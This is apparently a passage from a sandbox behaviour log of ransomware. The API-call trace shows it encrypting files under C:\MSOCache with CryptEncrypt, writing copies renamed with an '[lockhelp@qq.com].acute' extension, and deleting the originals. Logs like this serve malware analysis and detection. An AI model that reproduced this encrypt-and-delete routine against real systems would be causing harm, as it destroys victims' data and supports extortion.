hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x7d0, dwBufLen=0x7d0 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x7d0) returned 1 [0048.261] WriteFile (in: hFile=0x174, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x7d0, lpOverlapped=0x0) returned 1 [0048.272] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x593220) returned 1 [0048.272] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0048.272] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0048.272] CryptDestroyKey (hKey=0x593220) returned 1 [0048.272] WriteFile (in: hFile=0x174, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0048.272] CryptDestroyKey (hKey=0x5930a0) returned 1 [0048.272] CloseHandle (hObject=0x178) returned 1 [0048.272] CloseHandle (hObject=0x174) returned 1 [0048.273] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0048.274] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0048.274] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0048.406] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1872) returned 1 [0048.406] CloseHandle (hObject=0x19c) returned 1 [0048.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0048.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0048.406] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0048.406] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0048.406] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0048.406] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.407] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x593220) returned 1 [0048.407] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0048.407] ReadFile (in: hFile=0x19c, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x750, lpOverlapped=0x0) returned 1 [0048.809] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x760, dwBufLen=0x760 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x760) returned 1 [0048.809] WriteFile (in: hFile=0x178, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x760, lpOverlapped=0x0) returned 1 [0048.810] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5932a0) returned 1 [0048.810] CryptSetKeyParam (hKey=0x5932a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0048.810] CryptEncrypt (in: hKey=0x5932a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0048.810] CryptDestroyKey (hKey=0x5932a0) returned 1 [0048.810] WriteFile (in: hFile=0x178, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0048.810] CryptDestroyKey (hKey=0x593220) returned 1 [0048.810] CloseHandle (hObject=0x19c) returned 1 [0048.810] CloseHandle (hObject=0x178) returned 1 [0048.811] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0048.812] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0048.812] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.991] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1452) returned 1 [0048.991] CloseHandle (hObject=0x178) returned 1 [0048.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0048.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0048.992] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.992] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0048.992] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0048.992] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0048.992] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x593220) returned 1 [0048.992] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0048.992] ReadFile (in: hFile=0x178, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x5ac, lpOverlapped=0x0) returned 1 [0049.026] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x5b0) returned 1 [0049.026] WriteFile (in: hFile=0x1b0, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x5b0, lpOverlapped=0x0) returned 1 [0049.027] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5932a0) returned 1 [0049.027] CryptSetKeyParam (hKey=0x5932a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0049.027] CryptEncrypt (in: hKey=0x5932a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0049.027] CryptDestroyKey (hKey=0x5932a0) returned 1 [0049.027] WriteFile (in: hFile=0x1b0, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0049.028] CryptDestroyKey (hKey=0x593220) returned 1 [0049.028] CloseHandle (hObject=0x178) returned 1 [0049.028] CloseHandle (hObject=0x1b0) returned 1 [0049.028] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0049.029] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0049.029] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0049.693] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=5557) returned 1 [0049.693] CloseHandle (hObject=0x1b0) returned 1 [0049.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 0x2020 [0049.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0049.693] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0049.693] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0049.693] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0049.693] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0049.694] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5930a0) returned 1 [0049.694] CryptSetKeyParam (hKey=0x5930a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0049.694] ReadFile (in: hFile=0x1b0, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x15b5, lpOverlapped=0x0) returned 1 [0049.695] CryptEncrypt (in: hKey=0x5930a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x15c0, dwBufLen=0x15c0 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x15c0) returned 1 [0049.695] WriteFile (in: hFile=0x1a0, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x15c0, lpOverlapped=0x0) returned 1 [0049.696] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x593260) returned 1 [0049.696] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0049.696] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0049.696] CryptDestroyKey (hKey=0x593260) returned 1 [0049.697] WriteFile (in: hFile=0x1a0, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0049.697] CryptDestroyKey (hKey=0x5930a0) returned 1 [0049.697] CloseHandle (hObject=0x1b0) returned 1 [0049.697] CloseHandle (hObject=0x1a0) returned 1 [0049.698] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 1 [0049.699] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0049.699] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0049.699] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=27195) returned 1 [0049.700] CloseHandle (hObject=0x1a0) returned 1 [0049.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 0x2020 [0049.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0049.700] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0049.700] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0049.700] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0049.700] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0049.700] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5930a0) returned 1 [0049.700] CryptSetKeyParam (hKey=0x5930a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0049.700] ReadFile (in: hFile=0x1a0, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x6a3b, lpOverlapped=0x0) returned 1 [0049.702] CryptEncrypt (in: hKey=0x5930a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x6a40, dwBufLen=0x6a40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x6a40) returned 1 [0049.702] WriteFile (in: hFile=0x1b0, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x6a40, lpOverlapped=0x0) returned 1 [0049.703] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x593260) returned 1 [0049.703] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0049.703] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0049.703] CryptDestroyKey (hKey=0x593260) returned 1 [0049.703] WriteFile (in: hFile=0x1b0, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0049.703] CryptDestroyKey (hKey=0x5930a0) returned 1 [0049.703] CloseHandle (hObject=0x1a0) returned 1 [0049.703] CloseHandle (hObject=0x1b0) returned 1 [0049.704] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 1 [0049.705] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0049.705] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0049.706] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=67190) returned 1 [0049.706] CloseHandle (hObject=0x1b0) returned 1 [0049.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 0x2020 [0049.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0049.706] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0049.706] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0049.706] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0049.706] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0049.706] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5930a0) returned 1 [0049.706] CryptSetKeyParam (hKey=0x5930a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0049.706] ReadFile (in: hFile=0x1b0, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x10676, lpOverlapped=0x0) returned 1 [0049.708] CryptEncrypt (in: hKey=0x5930a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x10680, dwBufLen=0x10680 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x10680) returned 1 [0049.709] WriteFile (in: hFile=0x1a0, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x10680, lpOverlapped=0x0) returned 1 [0049.710] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x593260) returned 1 [0049.710] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0049.710] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0049.710] CryptDestroyKey (hKey=0x593260) returned 1 [0049.710] WriteFile (in: hFile=0x1a0, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0049.711] CryptDestroyKey (hKey=0x5930a0) returned 1 [0049.711] CloseHandle (hObject=0x1b0) returned 1 [0049.711] CloseHandle (hObject=0x1a0) returned 1 [0049.712] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 1 [0049.713] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0049.713] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0049.713] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=9352) returned 1 [0049.714] CloseHandle 